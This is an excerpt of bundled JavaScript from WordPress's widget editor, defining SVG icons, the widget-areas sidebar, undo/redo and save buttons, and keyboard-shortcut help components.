2478
2479
2480;// ./node_modules/@wordpress/icons/build-module/library/drawer-left.js
2481
2482
2483var drawer_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2484 external_wp_primitives_namespaceObject.Path,
2485 {
2486 fillRule: "evenodd",
2487 clipRule: "evenodd",
2488 d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.5 18.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h2.5v13zm10-.5c0 .3-.2.5-.5.5h-8v-13h8c.3 0 .5.2.5.5v12z"
2489 }
2490) });
2491
2492
2493;// ./node_modules/@wordpress/icons/build-module/library/drawer-right.js
2494
2495
2496var drawer_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2497 external_wp_primitives_namespaceObject.Path,
2498 {
2499 fillRule: "evenodd",
2500 clipRule: "evenodd",
2501 d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z"
2502 }
2503) });
2504
2505
2506;// ./node_modules/@wordpress/icons/build-module/library/block-default.js
2507
2508
2509var block_default_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z" }) });
2510
2511
2512;// external ["wp","url"]
2513const external_wp_url_namespaceObject = window["wp"]["url"];
2514;// external ["wp","dom"]
2515const external_wp_dom_namespaceObject = window["wp"]["dom"];
2516;// ./node_modules/@wordpress/edit-widgets/build-module/components/sidebar/widget-areas.js
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527function WidgetAreas({ selectedWidgetAreaId }) {
2528 const widgetAreas = (0,external_wp_data_namespaceObject.useSelect)(
2529 (select) => select(store_store).getWidgetAreas(),
2530 []
2531 );
2532 const selectedWidgetArea = (0,external_wp_element_namespaceObject.useMemo)(
2533 () => selectedWidgetAreaId && widgetAreas?.find(
2534 (widgetArea) => widgetArea.id === selectedWidgetAreaId
2535 ),
2536 [selectedWidgetAreaId, widgetAreas]
2537 );
2538 let description;
2539 if (!selectedWidgetArea) {
2540 description = (0,external_wp_i18n_namespaceObject.__)(
2541 // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
2542 "Widget Areas are global parts in your site\u2019s layout that can accept blocks. These vary by theme, but are typically parts like your Sidebar or Footer."
2543 );
2544 } else if (selectedWidgetAreaId === "wp_inactive_widgets") {
2545 description = (0,external_wp_i18n_namespaceObject.__)(
2546 "Blocks in this Widget Area will not be displayed in your site."
2547 );
2548 } else {
2549 description = selectedWidgetArea.description;
2550 }
2551 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-widget-areas", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-widget-areas__top-container", children: [
2552 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: block_default_default }),
2553 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
2554 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2555 "p",
2556 {
2557 dangerouslySetInnerHTML: {
2558 __html: (0,external_wp_dom_namespaceObject.safeHTML)(description)
2559 }
2560 }
2561 ),
2562 widgetAreas?.length === 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
2563 "Your theme does not contain any Widget Areas."
2564 ) }),
2565 !selectedWidgetArea && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2566 external_wp_components_namespaceObject.Button,
2567 {
2568 __next40pxDefaultSize: true,
2569 href: (0,external_wp_url_namespaceObject.addQueryArgs)("customize.php", {
2570 "autofocus[panel]": "widgets",
2571 return: window.location.pathname
2572 }),
2573 variant: "tertiary",
2574 children: (0,external_wp_i18n_namespaceObject.__)("Manage with live preview")
2575 }
2576 )
2577 ] })
2578 ] }) });
2579}
2580
2581
2582;// ./node_modules/@wordpress/edit-widgets/build-module/components/sidebar/index.js
2583
2584
2585
2586
2587
2588
2589
2590
2591const SIDEBAR_ACTIVE_BY_DEFAULT = external_wp_element_namespaceObject.Platform.select({
2592 web: true,
2593 native: false
2594});
2595const BLOCK_INSPECTOR_IDENTIFIER = "edit-widgets/block-inspector";
2596const WIDGET_AREAS_IDENTIFIER = "edit-widgets/block-areas";
2597
2598
2599
2600const { Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
2601function SidebarHeader({ selectedWidgetAreaBlock }) {
2602 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs.TabList, { children: [
2603 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, { tabId: WIDGET_AREAS_IDENTIFIER, children: selectedWidgetAreaBlock ? selectedWidgetAreaBlock.attributes.name : (0,external_wp_i18n_namespaceObject.__)("Widget Areas") }),
2604 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, { tabId: BLOCK_INSPECTOR_IDENTIFIER, children: (0,external_wp_i18n_namespaceObject.__)("Block") })
2605 ] });
2606}
2607function SidebarContent({
2608 hasSelectedNonAreaBlock,
2609 currentArea,
2610 isGeneralSidebarOpen,
2611 selectedWidgetAreaBlock
2612}) {
2613 const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
2614 (0,external_wp_element_namespaceObject.useEffect)(() => {
2615 if (hasSelectedNonAreaBlock && currentArea === WIDGET_AREAS_IDENTIFIER && isGeneralSidebarOpen) {
2616 enableComplementaryArea(
2617 "core/edit-widgets",
2618 BLOCK_INSPECTOR_IDENTIFIER
2619 );
2620 }
2621 if (!hasSelectedNonAreaBlock && currentArea === BLOCK_INSPECTOR_IDENTIFIER && isGeneralSidebarOpen) {
2622 enableComplementaryArea(
2623 "core/edit-widgets",
2624 WIDGET_AREAS_IDENTIFIER
2625 );
2626 }
2627 }, [hasSelectedNonAreaBlock, enableComplementaryArea]);
2628 const tabsContextValue = (0,external_wp_element_namespaceObject.useContext)(Tabs.Context);
2629 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2630 complementary_area_default,
2631 {
2632 className: "edit-widgets-sidebar",
2633 header: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Context.Provider, { value: tabsContextValue, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2634 SidebarHeader,
2635 {
2636 selectedWidgetAreaBlock
2637 }
2638 ) }),
2639 headerClassName: "edit-widgets-sidebar__panel-tabs",
2640 title: (0,external_wp_i18n_namespaceObject.__)("Settings"),
2641 closeLabel: (0,external_wp_i18n_namespaceObject.__)("Close Settings"),
2642 scope: "core/edit-widgets",
2643 identifier: currentArea,
2644 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? drawer_left_default : drawer_right_default,
2645 isActiveByDefault: SIDEBAR_ACTIVE_BY_DEFAULT,
2646 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs.Context.Provider, { value: tabsContextValue, children: [
2647 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2648 Tabs.TabPanel,
2649 {
2650 tabId: WIDGET_AREAS_IDENTIFIER,
2651 focusable: false,
2652 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2653 WidgetAreas,
2654 {
2655 selectedWidgetAreaId: selectedWidgetAreaBlock?.attributes.id
2656 }
2657 )
2658 }
2659 ),
2660 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2661 Tabs.TabPanel,
2662 {
2663 tabId: BLOCK_INSPECTOR_IDENTIFIER,
2664 focusable: false,
2665 children: hasSelectedNonAreaBlock ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockInspector, {}) : (
2666 // Pretend that Widget Areas are part of the UI by not
2667 // showing the Block Inspector when one is selected.
2668 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-block-inspector__no-blocks", children: (0,external_wp_i18n_namespaceObject.__)("No block selected.") })
2669 )
2670 }
2671 )
2672 ] })
2673 }
2674 );
2675}
2676function Sidebar() {
2677 const {
2678 currentArea,
2679 hasSelectedNonAreaBlock,
2680 isGeneralSidebarOpen,
2681 selectedWidgetAreaBlock
2682 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
2683 const { getSelectedBlock, getBlock, getBlockParentsByBlockName } = select(external_wp_blockEditor_namespaceObject.store);
2684 const { getActiveComplementaryArea } = select(store);
2685 const selectedBlock = getSelectedBlock();
2686 const activeArea = getActiveComplementaryArea(store_store.name);
2687 let currentSelection = activeArea;
2688 if (!currentSelection) {
2689 if (selectedBlock) {
2690 currentSelection = BLOCK_INSPECTOR_IDENTIFIER;
2691 } else {
2692 currentSelection = WIDGET_AREAS_IDENTIFIER;
2693 }
2694 }
2695 let widgetAreaBlock;
2696 if (selectedBlock) {
2697 if (selectedBlock.name === "core/widget-area") {
2698 widgetAreaBlock = selectedBlock;
2699 } else {
2700 widgetAreaBlock = getBlock(
2701 getBlockParentsByBlockName(
2702 selectedBlock.clientId,
2703 "core/widget-area"
2704 )[0]
2705 );
2706 }
2707 }
2708 return {
2709 currentArea: currentSelection,
2710 hasSelectedNonAreaBlock: !!(selectedBlock && selectedBlock.name !== "core/widget-area"),
2711 isGeneralSidebarOpen: !!activeArea,
2712 selectedWidgetAreaBlock: widgetAreaBlock
2713 };
2714 }, []);
2715 const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
2716 const onTabSelect = (0,external_wp_element_namespaceObject.useCallback)(
2717 (newSelectedTabId) => {
2718 if (!!newSelectedTabId) {
2719 enableComplementaryArea(
2720 store_store.name,
2721 newSelectedTabId
2722 );
2723 }
2724 },
2725 [enableComplementaryArea]
2726 );
2727 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2728 Tabs,
2729 {
2730 selectedTabId: isGeneralSidebarOpen ? currentArea : null,
2731 onSelect: onTabSelect,
2732 selectOnMove: false,
2733 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2734 SidebarContent,
2735 {
2736 hasSelectedNonAreaBlock,
2737 currentArea,
2738 isGeneralSidebarOpen,
2739 selectedWidgetAreaBlock
2740 }
2741 )
2742 }
2743 );
2744}
2745
2746
2747;// ./node_modules/@wordpress/icons/build-module/library/plus.js
2748
2749
2750var plus_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });
2751
2752
2753;// ./node_modules/@wordpress/icons/build-module/library/list-view.js
2754
2755
2756var list_view_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z" }) });
2757
2758
2759;// ./node_modules/@wordpress/icons/build-module/library/undo.js
2760
2761
2762var undo_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z" }) });
2763
2764
2765;// ./node_modules/@wordpress/icons/build-module/library/redo.js
2766
2767
2768var redo_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z" }) });
2769
2770
2771;// ./node_modules/@wordpress/edit-widgets/build-module/components/header/undo-redo/undo.js
2772
2773
2774
2775
2776
2777
2778
2779
2780function UndoButton(props, ref) {
2781 const hasUndo = (0,external_wp_data_namespaceObject.useSelect)(
2782 (select) => select(external_wp_coreData_namespaceObject.store).hasUndo(),
2783 []
2784 );
2785 const { undo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
2786 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2787 external_wp_components_namespaceObject.Button,
2788 {
2789 ...props,
2790 ref,
2791 icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? undo_default : redo_default,
2792 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
2793 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary("z"),
2794 "aria-disabled": !hasUndo,
2795 onClick: hasUndo ? undo : void 0,
2796 size: "compact"
2797 }
2798 );
2799}
2800var undo_undo_default = (0,external_wp_element_namespaceObject.forwardRef)(UndoButton);
2801
2802
2803;// ./node_modules/@wordpress/edit-widgets/build-module/components/header/undo-redo/redo.js
2804
2805
2806
2807
2808
2809
2810
2811
2812function RedoButton(props, ref) {
2813 const shortcut = (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? external_wp_keycodes_namespaceObject.displayShortcut.primaryShift("z") : external_wp_keycodes_namespaceObject.displayShortcut.primary("y");
2814 const hasRedo = (0,external_wp_data_namespaceObject.useSelect)(
2815 (select) => select(external_wp_coreData_namespaceObject.store).hasRedo(),
2816 []
2817 );
2818 const { redo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
2819 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2820 external_wp_components_namespaceObject.Button,
2821 {
2822 ...props,
2823 ref,
2824 icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? redo_default : undo_default,
2825 label: (0,external_wp_i18n_namespaceObject.__)("Redo"),
2826 shortcut,
2827 "aria-disabled": !hasRedo,
2828 onClick: hasRedo ? redo : void 0,
2829 size: "compact"
2830 }
2831 );
2832}
2833var redo_redo_default = (0,external_wp_element_namespaceObject.forwardRef)(RedoButton);
2834
2835
2836;// ./node_modules/@wordpress/edit-widgets/build-module/components/header/document-tools/index.js
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849function DocumentTools() {
2850 const isMediumViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
2851 const {
2852 isInserterOpen,
2853 isListViewOpen,
2854 inserterSidebarToggleRef,
2855 listViewToggleRef
2856 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
2857 const {
2858 isInserterOpened,
2859 getInserterSidebarToggleRef,
2860 isListViewOpened,
2861 getListViewToggleRef
2862 } = unlock(select(store_store));
2863 return {
2864 isInserterOpen: isInserterOpened(),
2865 isListViewOpen: isListViewOpened(),
2866 inserterSidebarToggleRef: getInserterSidebarToggleRef(),
2867 listViewToggleRef: getListViewToggleRef()
2868 };
2869 }, []);
2870 const { setIsInserterOpened, setIsListViewOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
2871 const toggleListView = (0,external_wp_element_namespaceObject.useCallback)(
2872 () => setIsListViewOpened(!isListViewOpen),
2873 [setIsListViewOpened, isListViewOpen]
2874 );
2875 const toggleInserterSidebar = (0,external_wp_element_namespaceObject.useCallback)(
2876 () => setIsInserterOpened(!isInserterOpen),
2877 [setIsInserterOpened, isInserterOpen]
2878 );
2879 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2880 external_wp_blockEditor_namespaceObject.NavigableToolbar,
2881 {
2882 className: "edit-widgets-header-toolbar",
2883 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Document tools"),
2884 variant: "unstyled",
2885 children: [
2886 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2887 external_wp_components_namespaceObject.ToolbarItem,
2888 {
2889 ref: inserterSidebarToggleRef,
2890 as: external_wp_components_namespaceObject.Button,
2891 className: "edit-widgets-header-toolbar__inserter-toggle",
2892 variant: "primary",
2893 isPressed: isInserterOpen,
2894 onMouseDown: (event) => {
2895 event.preventDefault();
2896 },
2897 onClick: toggleInserterSidebar,
2898 icon: plus_default,
2899 label: (0,external_wp_i18n_namespaceObject._x)(
2900 "Block Inserter",
2901 "Generic label for block inserter button"
2902 ),
2903 size: "compact"
2904 }
2905 ),
2906 isMediumViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
2907 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { as: undo_undo_default }),
2908 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { as: redo_redo_default }),
2909 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2910 external_wp_components_namespaceObject.ToolbarItem,
2911 {
2912 as: external_wp_components_namespaceObject.Button,
2913 className: "edit-widgets-header-toolbar__list-view-toggle",
2914 icon: list_view_default,
2915 isPressed: isListViewOpen,
2916 label: (0,external_wp_i18n_namespaceObject.__)("List View"),
2917 onClick: toggleListView,
2918 ref: listViewToggleRef,
2919 size: "compact"
2920 }
2921 )
2922 ] })
2923 ]
2924 }
2925 );
2926}
2927var document_tools_default = DocumentTools;
2928
2929
2930;// ./node_modules/@wordpress/edit-widgets/build-module/components/save-button/index.js
2931
2932
2933
2934
2935
2936function SaveButton() {
2937 const { hasEditedWidgetAreaIds, isSaving, isWidgetSaveLocked } = (0,external_wp_data_namespaceObject.useSelect)(
2938 (select) => {
2939 const {
2940 getEditedWidgetAreas,
2941 isSavingWidgetAreas,
2942 isWidgetSavingLocked
2943 } = select(store_store);
2944 return {
2945 hasEditedWidgetAreaIds: getEditedWidgetAreas()?.length > 0,
2946 isSaving: isSavingWidgetAreas(),
2947 isWidgetSaveLocked: isWidgetSavingLocked()
2948 };
2949 },
2950 []
2951 );
2952 const { saveEditedWidgetAreas } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
2953 const isDisabled = isWidgetSaveLocked || isSaving || !hasEditedWidgetAreaIds;
2954 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2955 external_wp_components_namespaceObject.Button,
2956 {
2957 variant: "primary",
2958 isBusy: isSaving,
2959 "aria-disabled": isDisabled,
2960 onClick: isDisabled ? void 0 : saveEditedWidgetAreas,
2961 size: "compact",
2962 children: isSaving ? (0,external_wp_i18n_namespaceObject.__)("Saving\u2026") : (0,external_wp_i18n_namespaceObject.__)("Update")
2963 }
2964 );
2965}
2966var save_button_default = SaveButton;
2967
2968
2969;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
2970
2971
2972var more_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
2973
2974
2975;// ./node_modules/@wordpress/icons/build-module/library/external.js
2976
2977
2978var external_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) });
2979
2980
2981;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcut-help-modal/config.js
2982
2983const textFormattingShortcuts = [
2984 {
2985 keyCombination: { modifier: "primary", character: "b" },
2986 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text bold.")
2987 },
2988 {
2989 keyCombination: { modifier: "primary", character: "i" },
2990 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text italic.")
2991 },
2992 {
2993 keyCombination: { modifier: "primary", character: "k" },
2994 description: (0,external_wp_i18n_namespaceObject.__)("Convert the selected text into a link.")
2995 },
2996 {
2997 keyCombination: { modifier: "primaryShift", character: "k" },
2998 description: (0,external_wp_i18n_namespaceObject.__)("Remove a link.")
2999 },
3000 {
3001 keyCombination: { character: "[[" },
3002 description: (0,external_wp_i18n_namespaceObject.__)("Insert a link to a post or page.")
3003 },
3004 {
3005 keyCombination: { modifier: "primary", character: "u" },
3006 description: (0,external_wp_i18n_namespaceObject.__)("Underline the selected text.")
3007 },
3008 {
3009 keyCombination: { modifier: "access", character: "d" },
3010 description: (0,external_wp_i18n_namespaceObject.__)("Strikethrough the selected text.")
3011 },
3012 {
3013 keyCombination: { modifier: "access", character: "x" },
3014 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text inline code.")
3015 },
3016 {
3017 keyCombination: {
3018 modifier: "access",
3019 character: "0"
3020 },
3021 aliases: [
3022 {
3023 modifier: "access",
3024 character: "7"
3025 }
3026 ],
3027 description: (0,external_wp_i18n_namespaceObject.__)("Convert the current heading to a paragraph.")
3028 },
3029 {
3030 keyCombination: { modifier: "access", character: "1-6" },
3031 description: (0,external_wp_i18n_namespaceObject.__)(
3032 "Convert the current paragraph or heading to a heading of level 1 to 6."
3033 )
3034 },
3035 {
3036 keyCombination: { modifier: "primaryShift", character: "SPACE" },
3037 description: (0,external_wp_i18n_namespaceObject.__)("Add non breaking space.")
3038 }
3039];
3040
3041
3042;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcut-help-modal/shortcut.js
3043
3044
3045
3046function KeyCombination({ keyCombination, forceAriaLabel }) {
3047 const shortcut = keyCombination.modifier ? external_wp_keycodes_namespaceObject.displayShortcutList[keyCombination.modifier](
3048 keyCombination.character
3049 ) : keyCombination.character;
3050 const ariaLabel = keyCombination.modifier ? external_wp_keycodes_namespaceObject.shortcutAriaLabel[keyCombination.modifier](
3051 keyCombination.character
3052 ) : keyCombination.character;
3053 const shortcuts = Array.isArray(shortcut) ? shortcut : [shortcut];
3054 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3055 "kbd",
3056 {
3057 className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination",
3058 "aria-label": forceAriaLabel || ariaLabel,
3059 children: shortcuts.map((character, index) => {
3060 if (character === "+") {
3061 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, { children: character }, index);
3062 }
3063 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3064 "kbd",
3065 {
3066 className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-key",
3067 children: character
3068 },
3069 index
3070 );
3071 })
3072 }
3073 );
3074}
3075function Shortcut({ description, keyCombination, aliases = [], ariaLabel }) {
3076 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3077 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-description", children: description }),
3078 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-term", children: [
3079 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3080 KeyCombination,
3081 {
3082 keyCombination,
3083 forceAriaLabel: ariaLabel
3084 }
3085 ),
3086 aliases.map((alias, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3087 KeyCombination,
3088 {
3089 keyCombination: alias,
3090 forceAriaLabel: ariaLabel
3091 },
3092 index
3093 ))
3094 ] })
3095 ] });
3096}
3097var shortcut_default = Shortcut;
3098
3099
3100;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcut-help-modal/dynamic-shortcut.js
3101
3102
3103
3104
3105function DynamicShortcut({ name }) {
3106 const { keyCombination, description, aliases } = (0,external_wp_data_namespaceObject.useSelect)(
3107 (select) => {
3108 const {
3109 getShortcutKeyCombination,
3110 getShortcutDescription,
3111 getShortcutAliases
3112 } = select(external_wp_keyboardShortcuts_namespaceObject.store);
3113 return {
3114 keyCombination: getShortcutKeyCombination(name),
3115 aliases: getShortcutAliases(name),
3116 description: getShortcutDescription(name)
3117 };
3118 },
3119 [name]
3120 );
3121 if (!keyCombination) {
3122 return null;
3123 }
3124 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3125 shortcut_default,
3126 {
3127 keyCombination,
3128 description,
3129 aliases
3130 }
3131 );
3132}
3133var dynamic_shortcut_default = DynamicShortcut;
3134
3135
3136;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcut-help-modal/index.js
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146const ShortcutList = ({ shortcuts }) => (
3147 /*
3148 * Disable reason: The `list` ARIA role is redundant but
3149 * Safari+VoiceOver won't announce the list otherwise.
3150 */
3151 /* eslint-disable jsx-a11y/no-redundant-roles */
3152 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3153 "ul",
3154 {
3155 className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-list",
3156 role: "list",
3157 children: shortcuts.map((shortcut, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3158 "li",
3159 {
3160 className: "edit-widgets-keyboard-shortcut-help-modal__shortcut",
3161 children: typeof shortcut === "string" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dynamic_shortcut_default, { name: shortcut }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(shortcut_default, { ...shortcut })
3162 },
3163 index
3164 ))
3165 }
3166 )
3167);
3168const ShortcutSection = ({ title, shortcuts, className }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
3169 "section",
3170 {
3171 className: dist_clsx(
3172 "edit-widgets-keyboard-shortcut-help-modal__section",
3173 className
3174 ),
3175 children: [
3176 !!title && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "edit-widgets-keyboard-shortcut-help-modal__section-title", children: title }),
3177 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutList, { shortcuts })
3178 ]
3179 }
3180);
3181const ShortcutCategorySection = ({
3182 title,
3183 categoryName,
3184 additionalShortcuts = []
3185}) => {
3186 const categoryShortcuts = (0,external_wp_data_namespaceObject.useSelect)(
3187 (select) => {
3188 return select(external_wp_keyboardShortcuts_namespaceObject.store).getCategoryShortcuts(
3189 categoryName
